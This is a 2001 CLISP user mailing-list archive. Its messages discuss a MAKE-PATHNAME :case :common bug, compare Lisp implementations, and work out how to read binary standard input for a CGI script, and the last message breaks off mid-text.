sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20011112102608.A4920@thesoftwaresmith.com.au> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 12 08:10:08 2001 X-Original-Date: 12 Nov 2001 11:09:01 -0500 > * In message <20011112102608.A4920@thesoftwaresmith.com.au> > * On the subject of "[clisp-list] compile error in pathname.d" > * Sent on Mon, 12 Nov 2001 10:26:08 +1100 > * Honorable andrew@thesoftwaresmith.com.au writes: > > I have been attempting to build the latest clisp CVS and encountered > the following error in src/pathname.d: this should be fixed now. Note that all mail regarding CVS CLISP should go to . -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Only adults have difficulty with childproof caps. From pitman@world.std.com Mon Nov 12 11:29:39 2001 Received: from pcls3.std.com ([199.172.62.105] helo=TheWorld.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163Mm2-0002oJ-00 for ; Mon, 12 Nov 2001 11:29:38 -0800 Received: from shell01.TheWorld.com.world.std.com (gayathri@shell01-g.TheWorld.com [199.172.62.241]) by TheWorld.com (8.9.3/8.9.3) with ESMTP id OAA08468; Mon, 12 Nov 2001 14:14:54 -0500 Message-Id: <200111121914.OAA08468@TheWorld.com> From: Kent M Pitman To: clisp-list@lists.sourceforge.net cc: pitman@TheWorld.com Subject: [clisp-list] Problems with MAKE-PATHNAME in clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 12 11:30:04 2001 X-Original-Date: Mon, 12 Nov 2001 14:14:54 -0500 In CLISP "2.27.2 (released 2001-10-05) (built 3214510376) (memory 3214510483)" if I do (make-pathname :name "FOO" :case :common :defaults #P"/home/kent/") I get back #P"/HOME/KENT/foo" where I expect #P"/home/kent/foo". The source (clisp/src/pathname.d) is impenetrable to me (not being written in Lisp, and my German not being any good) but it looks to me both from the effect and from some code comments you have where you write (pathname-directory pathname) that maybe you are grabbing the components of the defaults in the default case mode (which would be :local if you call PATHNAME-DIRECTORY with no :case argument) and then filling them in the case mode I supplied (which is :common), which ends up flipping the case. I personally believe the right thing is always to fill unsupplied components from :defaults by grabbing them in :common case and storing them in :common case, independent of what is supplied as the :case argument. [One might make the case that you could also grab them in :local and store in :local (which you are not doing either), but I think that is going to go wrong in pathological cases where you are making a pathname from a filename with one neutral case convention and defaulting from a filename with a different neutral case convention.] I hope this is enough information for you to figure out and correct the problem. I certainly know I have no hope of correcting the problem. (I'm somewhat surprised some of this stuff isn't coded in Lisp.) From amoroso@mclink.it Mon Nov 12 11:39:39 2001 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163Mvh-0005q4-00 for ; Mon, 12 Nov 2001 11:39:37 -0800 Received: from net145-123.mclink.it (net145-123.mclink.it [195.110.145.123]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id fACJdVF26364 for ; Mon, 12 Nov 2001 20:39:32 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] stripping down clisp Organization: Paolo Amoroso - Milan, ITALY Message-ID: <9e7vOzNiF+wMgSI5iigZqcPXrdQz@4ax.com> References: <001f01c16b34$b7631540$41597140@zuercher> In-Reply-To: <001f01c16b34$b7631540$41597140@zuercher> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 12 11:40:04 2001 X-Original-Date: Mon, 12 Nov 2001 20:37:39 +0100 On Sun, 11 Nov 2001 22:44:29 -0600, Michael Zuercher wrote: > I have a bunch of lisp source files that contain functions that > I need to access from a C program. However, due to memory > limitations, I am not able to run a full lisp interpreter. [...] > Since memory is VERY tight, I would like to make a .mem file > with only the things I need. You might consider using ThinLisp: http://thinlisp.sourceforge.net Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://web.mclink.it/amoroso/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From harley@panix.com Mon Nov 12 11:43:46 2001 Received: from mail2.panix.com ([166.84.0.213]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163Mzh-0007AC-00 for ; Mon, 12 Nov 2001 11:43:45 -0800 Received: from panix1.panix.com (panix1.panix.com [166.84.1.1]) by mail2.panix.com (Postfix) with ESMTP id B1DFE8EBE; Mon, 12 Nov 2001 14:43:38 -0500 (EST) Received: from localhost (localhost [[UNIX: localhost]]) by panix1.panix.com (8.11.3nb1/8.8.8/PanixN1.0) with ESMTP id fACJhcV28316; Mon, 12 Nov 2001 14:43:38 -0500 (EST) X-Authentication-Warning: panix1.panix.com: harley owned process doing -bs From: Harley Gorrell To: Kent M Pitman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problems with MAKE-PATHNAME in clisp In-Reply-To: <200111121914.OAA08468@TheWorld.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 12 11:44:03 2001 X-Original-Date: Mon, 12 Nov 2001 14:43:38 -0500 (EST) On Mon, 12 Nov 2001, Kent M Pitman wrote: > In CLISP > "2.27.2 (released 2001-10-05) (built 3214510376) (memory 3214510483)" > > if I do > > (make-pathname :name "FOO" :case :common :defaults #P"/home/kent/") > > I get back #P"/HOME/KENT/foo" where I expect #P"/home/kent/foo". Humm... With a different version I get different answer. Perhaps a downgrade would help? | viano 1 harley $uname -a | Linux viano.neomorphic.com 2.2.14-5.0smp #1 SMP Tue Mar 7 21:01:40 EST 2000 i686 unknown | | viano 2 harley $clisp --version | GNU CLISP 2.27 (released 2001-07-17) (built 3211125895) (memory 3211126047) | | viano 3 harley $clisp | [1]> (make-pathname :name "FOO" :case :common :defaults #P"/home/kent/") | #P"/home/kent/foo" harley. From samuel.steingold@verizon.net Mon Nov 12 14:45:08 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163PpC-0000A8-00 for ; Mon, 12 Nov 2001 14:45:06 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA25122; Mon, 12 Nov 2001 17:45:04 -0500 (EST) X-Envelope-To: To: Kent M Pitman Cc: clisp-list@lists.sourceforge.net, pitman@TheWorld.com Subject: Re: [clisp-list] Problems with MAKE-PATHNAME in clisp References: <200111121914.OAA08468@TheWorld.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200111121914.OAA08468@TheWorld.com> Message-ID: Lines: 48 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 12 14:46:01 2001 X-Original-Date: 12 Nov 2001 17:44:18 -0500 > * In message <200111121914.OAA08468@TheWorld.com> > * On the subject of "[clisp-list] Problems with MAKE-PATHNAME in clisp" > * Sent on Mon, 12 Nov 2001 14:14:54 -0500 > * Honorable Kent M Pitman writes: > > In CLISP > "2.27.2 (released 2001-10-05) (built 3214510376) (memory 3214510483)" > > if I do > > (make-pathname :name "FOO" :case :common :defaults #P"/home/kent/") > > I get back #P"/HOME/KENT/foo" where I expect #P"/home/kent/foo". this bug was introduced on 2001-07-20 in an attempt to to make the following work (from a pathname test suite posted to c.l.l in July): (defun foo (x) (let ((path (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) :type x :case :common) :host "CL-LIBRARY" :case :common))) (string= x (pathname-type path)))) (foo "c") ==> t (foo "C") ==> t You message, as well as issue PATHNAME-COMPONENT-CASE, appear to indicate that :CASE does _not_ apply to the :DEFAULTS argument to MAKE-PATHNAME (I.e., FOO should return NIL, not T). Is this correct? If it is, I can easily fix the problem (by reverting to the previous behavior, which was taking the stuff out of defaults as is and putting it into the new pathname as is). Thanks for the bug report. (I wish all our users were as clear as to what and _WHY_ they did not like!) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Winners never quit; quitters never win; idiots neither win nor quit. From bruce253@163.net Mon Nov 12 16:01:18 2001 Received: from [211.101.185.136] (helo=fltrp.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163R0w-00042f-00 for ; Mon, 12 Nov 2001 16:01:18 -0800 Received: from 163.net [211.101.185.130] by fltrp.com with ESMTP (SMTPD32-7.00 EVAL) id A24234D009E; Tue, 13 Nov 2001 07:58:58 +0800 Message-ID: <3BF061F5.6040300@163.net> From: Bruce User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011023 X-Accept-Language: en, zh-cn MIME-Version: 1.0 To: clisp-list Subject: Re: [clisp-list] clisp patch for garnet 3.0 References: <3BEF298E.5060305@163.net> Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 12 16:02:02 2001 X-Original-Date: Tue, 13 Nov 2001 07:57:41 +0800 Sam Steingold wrote: >>* In message <3BEF298E.5060305@163.net> >>* On the subject of "[clisp-list] clisp patch for garnet 3.0" >>* Sent on Mon, 12 Nov 2001 09:44:46 +0800 >>* Honorable Bruce writes: >> >>Since clisp.cons.org has been down for quite some time and I'm not >>able to connect to clisp.sourceforge.net from China, can anybody point >>to me a url with the latest clisp patch for garnet 3.0 or send me the >>patch to me directly? >> > > try cvs2.cons.org:/pub/lisp/clisp/packages > Thanks! Got it. From pitman@world.std.com Mon Nov 12 16:23:26 2001 Received: from pcls2.std.com ([199.172.62.104] helo=TheWorld.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163RML-0000eC-00 for ; Mon, 12 Nov 2001 16:23:25 -0800 Received: from shell01.TheWorld.com.world.std.com (damani@shell01-g.TheWorld.com [199.172.62.241]) by TheWorld.com (8.9.3/8.9.3) with ESMTP id TAA23701; Mon, 12 Nov 2001 19:23:21 -0500 Message-Id: <200111130023.TAA23701@TheWorld.com> From: Kent M Pitman To: sds@gnu.org CC: clisp-list@lists.sourceforge.net, pitman@TheWorld.com In-reply-to: (message from Sam Steingold on 12 Nov 2001 17:44:18 -0500) Subject: Re: [clisp-list] Problems with MAKE-PATHNAME in clisp References: <200111121914.OAA08468@TheWorld.com> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 12 16:24:02 2001 X-Original-Date: Mon, 12 Nov 2001 19:23:21 -0500 Date: 12 Nov 2001 17:44:18 -0500 From: Sam Steingold > * In message <200111121914.OAA08468@TheWorld.com> > * On the subject of "[clisp-list] Problems with MAKE-PATHNAME in clisp" > * Sent on Mon, 12 Nov 2001 14:14:54 -0500 > * Honorable Kent M Pitman writes: > > In CLISP > "2.27.2 (released 2001-10-05) (built 3214510376) (memory 3214510483)" > > if I do > > (make-pathname :name "FOO" :case :common :defaults #P"/home/kent/") > > I get back #P"/HOME/KENT/foo" where I expect #P"/home/kent/foo". this bug was introduced on 2001-07-20 in an attempt to to make the following work (from a pathname test suite posted to c.l.l in July): (defun foo (x) (let ((path (make-pathname :defaults (make-pathname :directory '(:relative :wild-inferiors) :type x :case :common) :host "CL-LIBRARY" :case :common))) (string= x (pathname-type path)))) (foo "c") ==> t (foo "C") ==> t I believe this is wrong. IMO, both should return NIL. They should return T if you use :case :common to retrieve the type. The change in case is unpredictable if you store using :common case and retrieve with :local case (which is lamentably the default if :case is not supplied). You message, as well as issue PATHNAME-COMPONENT-CASE, appear to indicate that :CASE does _not_ apply to the :DEFAULTS argument to MAKE-PATHNAME (I.e., FOO should return NIL, not T). Is this correct? Well, :case does not apply to any pathname. :case is about a translation mode when storing or retrieving individual components as strings. The actual internal case you use is not specified. But yes, my personal opinion is that FOO should return NIL. LispWorks Enterprise 4.1.20 returns NIL. (I checked this AFTER deciding what I thought it should return, so my opinion counts as an independent guess.) I was going to check it in Allegro but my test license has expired. Sigh. If it is, I can easily fix the problem (by reverting to the previous behavior, which was taking the stuff out of defaults as is and putting it into the new pathname as is). Let me see if I can explain what I think this is all about. The purpose of common case is to solve the problem of defaulting between hosted pathnames that have different notions of canonical case. e.g., grabbing the NAME part from a TOPS-20 pathname and the TYPE part from a Unix pathname. The idea is to do a fetch during merging of any given slot in :common and to store it in the same mode. That way, it will change case naturally to the proper case of the new system. That's what MERGE-PATHNAMES should do, for example. But in the case of MAKE-PATHNAME, the user manually calls PATHNAME-NAME and friends for purposes the system doesn't know, so the user has to remember to do the store back in the same mode. The system has lost track of the data path between the extract and restore and so can't assure a consistent use of :COMMON. Note that in some Lisp implementations, and yours may be one, it might also work to consistently use :LOCAL. I've never thought this through. But in the general case, if you have access to file systems with opposite notions of what case is canonical, if you extract in :LOCAL case from a TOPS-20 you'll get "FOO" in the normal case of FOO.LISP and when you store the same "FOO" back in :LOCAL to a Unix pathname, you'll get FOO.lsp instead of foo.lsp. But if you only have Unix pathnames, it would work to use :local to both extract and deposit components. (The reason I say I'm unsure is I don't recall what the canonical case is for logical pathnames, and am too lazy to go look at this moment. If it's uppercase, as I suspect it is, then (make-pathname :host my-logical-host :name (pathname-name my-unix-pathname :type :local) :case :local) will accidentally flip the case while (make-pathname :host my-logical-host :name (pathname-name my-unix-pathname :type :common) :case :common) will not. Thanks for the bug report. (I wish all our users were as clear as to what and _WHY_ they did not like!) Not a problem. From erik@aarg.net Mon Nov 12 16:28:27 2001 Received: from marge.musiciansfriend.com ([208.137.126.51] helo=earth.musiciansfriend.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163RRD-0002th-00 for ; Mon, 12 Nov 2001 16:28:27 -0800 Received: from sif.musiciansfriend.com.musiciansfriend.com ([172.16.4.22]) by earth.musiciansfriend.com (Netscape Messaging Server 3.52) with ESMTP id AAA3DFA; Mon, 12 Nov 2001 16:22:00 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15344.26904.881266.170950@sif.musiciansfriend.com> To: Kent M Pitman Cc: sds@gnu.org, clisp-list@lists.sourceforge.net, pitman@TheWorld.com Subject: Re: [clisp-list] Problems with MAKE-PATHNAME in clisp In-Reply-To: <200111130023.TAA23701@TheWorld.com> References: <200111121914.OAA08468@TheWorld.com> <200111130023.TAA23701@TheWorld.com> X-Mailer: VM 6.96 under 21.4 (patch 4) "Artificial Intelligence" XEmacs Lucid X-URL: http://erik.arneson.org/ X-Web: http://erik.arneson.org/ X-Home-Page: http://erik.arneson.org/ X-Face: (tqZYuGE?nmt+0+#GxA:9MCh\^]L?4E&}G79|/Xo~_)Pw5DE9-!hZff&>`8".[Wj1m A4~Qj`/}%?75sWO2TPOZ/'AfN!84V]P{k5:3?sR./6&Cb.B2/u/-5g*^H!E|iU&?jC*=Rc=Z: |2Vbqn+4wOU/II:3b(lsd]a%fcYZ6O$28N';u]?O6.*)U"yiJ?pE=)$$1)xIU~l\3iCiH*.A} H#YW1Wql9RXB;DTEb_.e4DmH$@?63FeK From: Erik Arneson Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 12 16:29:04 2001 X-Original-Date: Mon, 12 Nov 2001 16:28:08 -0800 On 12 November 2001, Kent M Pitman wrote: > LispWorks Enterprise 4.1.20 returns NIL. (I checked this AFTER > deciding what I thought it should return, so my opinion counts as an > independent guess.) > > I was going to check it in Allegro but my test license has expired. Sigh. ACL returns T in both cases. By the way, you can get new test licenses now for as long as you want...they don't stop you anymore. -- # Erik Arneson AARG Net # # GPG Key ID: 1024D/43AD6AB8 # # "Resistance to tyrants is obedience to God!" - Thomas Jefferson # From pitman@world.std.com Mon Nov 12 16:40:35 2001 Received: from pcls3.std.com ([199.172.62.105] helo=TheWorld.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163Rcw-0000Bg-00 for ; Mon, 12 Nov 2001 16:40:34 -0800 Received: from shell01.TheWorld.com.world.std.com (damani@shell01-g.TheWorld.com [199.172.62.241]) by TheWorld.com (8.9.3/8.9.3) with ESMTP id TAA29004; Mon, 12 Nov 2001 19:40:31 -0500 Message-Id: <200111130040.TAA29004@TheWorld.com> From: Kent M Pitman To: erik@aarg.net CC: sds@gnu.org, clisp-list@lists.sourceforge.net, pitman@TheWorld.com In-reply-to: <15344.26904.881266.170950@sif.musiciansfriend.com> (message from Erik Arneson on Mon, 12 Nov 2001 16:28:08 -0800) Subject: Re: [clisp-list] Problems with MAKE-PATHNAME in clisp References: <200111121914.OAA08468@TheWorld.com> <200111130023.TAA23701@TheWorld.com> <15344.26904.881266.170950@sif.musiciansfriend.com> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 12 16:41:04 2001 X-Original-Date: Mon, 12 Nov 2001 19:40:31 -0500 Date: Mon, 12 Nov 2001 16:28:08 -0800 From: Erik Arneson On 12 November 2001, Kent M Pitman wrote: > LispWorks Enterprise 4.1.20 returns NIL. (I checked this AFTER > deciding what I thought it should return, so my opinion counts as an > independent guess.) > > I was going to check it in Allegro but my test license has expired. Sigh. ACL returns T in both cases. I hate to ask, but do they implement :case :common at all? I'd love to see explained by what theory anyone tought this should return T. I understand my model of the universe but not the model of whoever wrote that test case. By the way, you can get new test licenses now for as long as you want...they don't stop you anymore. Yeah, I've heard that, too. But every time I've had to deal with them about licenses, I get a form asking me to fill out my life history. It makes me want to procrastinate... From seniorr@aracnet.com Tue Nov 13 01:32:23 2001 Received: from bonneville.tdb.com ([216.99.214.10] helo=coulee.tdb.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163Zvb-0007bM-00 for ; Tue, 13 Nov 2001 01:32:23 -0800 Received: (qmail 14398 invoked by uid 1001); 13 Nov 2001 09:32:17 -0000 To: Subject: Re: [clisp-list] stream trouble References: <861yj8o2ch.fsf@coulee.tdb.com> <86n11vlpjm.fsf@coulee.tdb.com> From: Russell Senior In-Reply-To: Message-ID: <868zdbhv8e.fsf@coulee.tdb.com> Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 13 01:33:02 2001 X-Original-Date: 13 Nov 2001 01:32:17 -0800 >>>>> "Sam" == Sam Steingold writes: Sam> try this: Sam> (let ((true-input (two-way-stream-input-stream Sam> (symbol-value (synonym-stream-symbol Sam> *standard-input*))))) Sam> (setf (stream-element-type true-input) '(unsigned-byte 8)) Sam> (read-byte-sequence buffer true-input)) I ran the following at the Linux command line (clisp-2.27): $ clisp -q -norc -x '(let ((true-input (two-way-stream-input-stream (symbol-value (synonym-stream-symbol *standard-input*))))) (describe true-input)) (exit)' *** - SYNONYM-STREAM-SYMBOL: argument # should be a stream of type SYNONYM-STREAM Starting CLISP normally and playing around, I find: [1]> (describe *standard-input*) # is an input/output-stream. [2]> (two-way-stream-input-stream *terminal-io*) *** - TWO-WAY-STREAM-INPUT-STREAM: argument # should be a stream of type TWO-WAY-STREAM 1. Break [3]> If *terminal-io* isn't of type TWO-WAY-STREAM, what is an input/output-stream? -- Russell Senior ``The two chiefs turned to each other. seniorr@aracnet.com Bellison uncorked a flood of horrible profanity, which, translated meant, `This is extremely unusual.' '' From samuel.steingold@verizon.net Tue Nov 13 06:53:47 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163ewc-0000Ql-00 for ; Tue, 13 Nov 2001 06:53:46 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA02794; Tue, 13 Nov 2001 09:53:44 -0500 (EST) X-Envelope-To: To: Russell Senior Cc: Subject: Re: [clisp-list] stream trouble References: <861yj8o2ch.fsf@coulee.tdb.com> <86n11vlpjm.fsf@coulee.tdb.com> <868zdbhv8e.fsf@coulee.tdb.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <868zdbhv8e.fsf@coulee.tdb.com> Message-ID: Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 13 06:54:08 2001 X-Original-Date: 13 Nov 2001 09:52:30 -0500 > * In message <868zdbhv8e.fsf@coulee.tdb.com> > * On the subject of "Re: [clisp-list] stream trouble" > * Sent on 13 Nov 2001 01:32:17 -0800 > * Honorable Russell Senior writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> try this: > > Sam> (let ((true-input (two-way-stream-input-stream > Sam> (symbol-value (synonym-stream-symbol > Sam> *standard-input*))))) > Sam> (setf (stream-element-type true-input) '(unsigned-byte 8)) > Sam> (read-byte-sequence buffer true-input)) > > I ran the following at the Linux command line (clisp-2.27): > > $ clisp -q -norc -x '(let ((true-input (two-way-stream-input-stream (symbol-value (synonym-stream-symbol *standard-input*))))) (describe true-input)) (exit)' > > *** - SYNONYM-STREAM-SYMBOL: argument # should be a stream of type SYNONYM-STREAM yes, when started with "-x", CLISP puts the argument into a string and reads from it. > Starting CLISP normally and playing around, I find: > > [1]> (describe *standard-input*) > # is an input/output-stream. > [2]> (two-way-stream-input-stream *terminal-io*) > *** - TWO-WAY-STREAM-INPUT-STREAM: argument # should be a stream of type TWO-WAY-STREAM > 1. Break [3]> of course: when both 0 and 1 are terminals, then *terminal-io* is a TERMINAL-STREAM and not a TWO-WAY-STREAM. my trick should work when you read _from a file_: $ echo '(let ((true-input (two-way-stream-input-stream (symbol-value (synonym-stream-symbol *standard-input*))))) (describe true-input)) (exit)' > z $ clisp -q -norc < z # is an input-stream. $ Would you like to write a paper describing what you are doing? We can put it on our web site, like we did with . -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Between grand theft and a legal fee, there only stands a law degree. From lin8080@freenet.de Tue Nov 13 10:58:55 2001 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163ilp-0007nK-00 for ; Tue, 13 Nov 2001 10:58:53 -0800 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout1.freenet.de with esmtp (Exim 3.33 #3) id 163ill-00008W-00 for clisp-list@lists.sourceforge.net; Tue, 13 Nov 2001 19:58:49 +0100 Received: from b75c5.pppool.de ([213.7.117.197] helo=freenet.de) by mx1.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #3) id 163ill-0000MA-00 for clisp-list@lists.sourceforge.net; Tue, 13 Nov 2001 19:58:49 +0100 Message-ID: <3BF15E0C.30D387E4@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] setq - un-setq References: <861yj8o2ch.fsf@coulee.tdb.com> <86n11vlpjm.fsf@coulee.tdb.com> <3BECBE1F.7F32B2CA@freenet.de> <20011110095758.B2101@bomberlan.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 13 10:59:07 2001 X-Original-Date: Tue, 13 Nov 2001 18:53:16 +0100 David Morse, Harley Gorrell schrieben: Thank you for your tips. The next problem is not far, but I try and learn. greetings stefan From seniorr@aracnet.com Tue Nov 13 14:05:18 2001 Received: from bonneville.tdb.com ([216.99.214.10] helo=coulee.tdb.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 163lgD-0007gx-00 for ; Tue, 13 Nov 2001 14:05:17 -0800 Received: (qmail 14913 invoked by uid 1001); 13 Nov 2001 22:05:16 -0000 To: Subject: Re: [clisp-list] stream trouble References: <861yj8o2ch.fsf@coulee.tdb.com> <86n11vlpjm.fsf@coulee.tdb.com> <868zdbhv8e.fsf@coulee.tdb.com> From: Russell Senior In-Reply-To: Message-ID: <86wv0upbs3.fsf@coulee.tdb.com> Lines: 85 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 13 14:06:02 2001 X-Original-Date: 13 Nov 2001 14:05:16 -0800 >>>>> "Sam" == Sam Steingold writes: >> $ clisp -q -norc -x '(let ((true-input (two-way-stream-input-stream >> (symbol-value (synonym-stream-symbol *standard-input*))))) >> (describe true-input)) (exit)' >> >> *** - SYNONYM-STREAM-SYMBOL: argument # >> should be a stream of type SYNONYM-STREAM Sam> yes, when started with "-x", CLISP puts the argument into a Sam> string and reads from it. What would be the "approved" way of executing lisp code "out-of-band" so that standard input is reserved for data? Is it even possible? Putting the code into a file (test.lisp): cat > test.lisp (let ((true-input (two-way-stream-input-stream (symbol-value (synonym-stream-symbol *standard-input*))))) (describe true-input)) ^D and running: clisp -q -norc test.lisp or clisp -q -norc -i test.lisp gives me the message: *** - TWO-WAY-STREAM-INPUT-STREAM: argument # should be a stream of type TWO-WAY-STREAM while: clisp -q -norc < test.lisp "works", but as far as I can tell that is going to interfere with the way the data is sent to the CGI program. Is there another way? A while ago I could see that one solution is to make my CGI script look like: #!/bin/sh INCOMING=/tmp/$$.incoming-data cat > $INCOMING clisp -q -norc ... where clisp reads from $INCOMING in some fashion, obviously no longer constrained by the *standard-input* intricacies. I thought that there might be a way of avoiding that kind of punting. However, having beaten my head against a wall for a while, I am not sure there is. >> [more russell fumbling around elided] Sam> of course: when both 0 and 1 are terminals, then *terminal-io* is Sam> a TERMINAL-STREAM and not a TWO-WAY-STREAM. Sam> my trick should work when you read _from a file_: Sam> $ echo '(let ((true-input 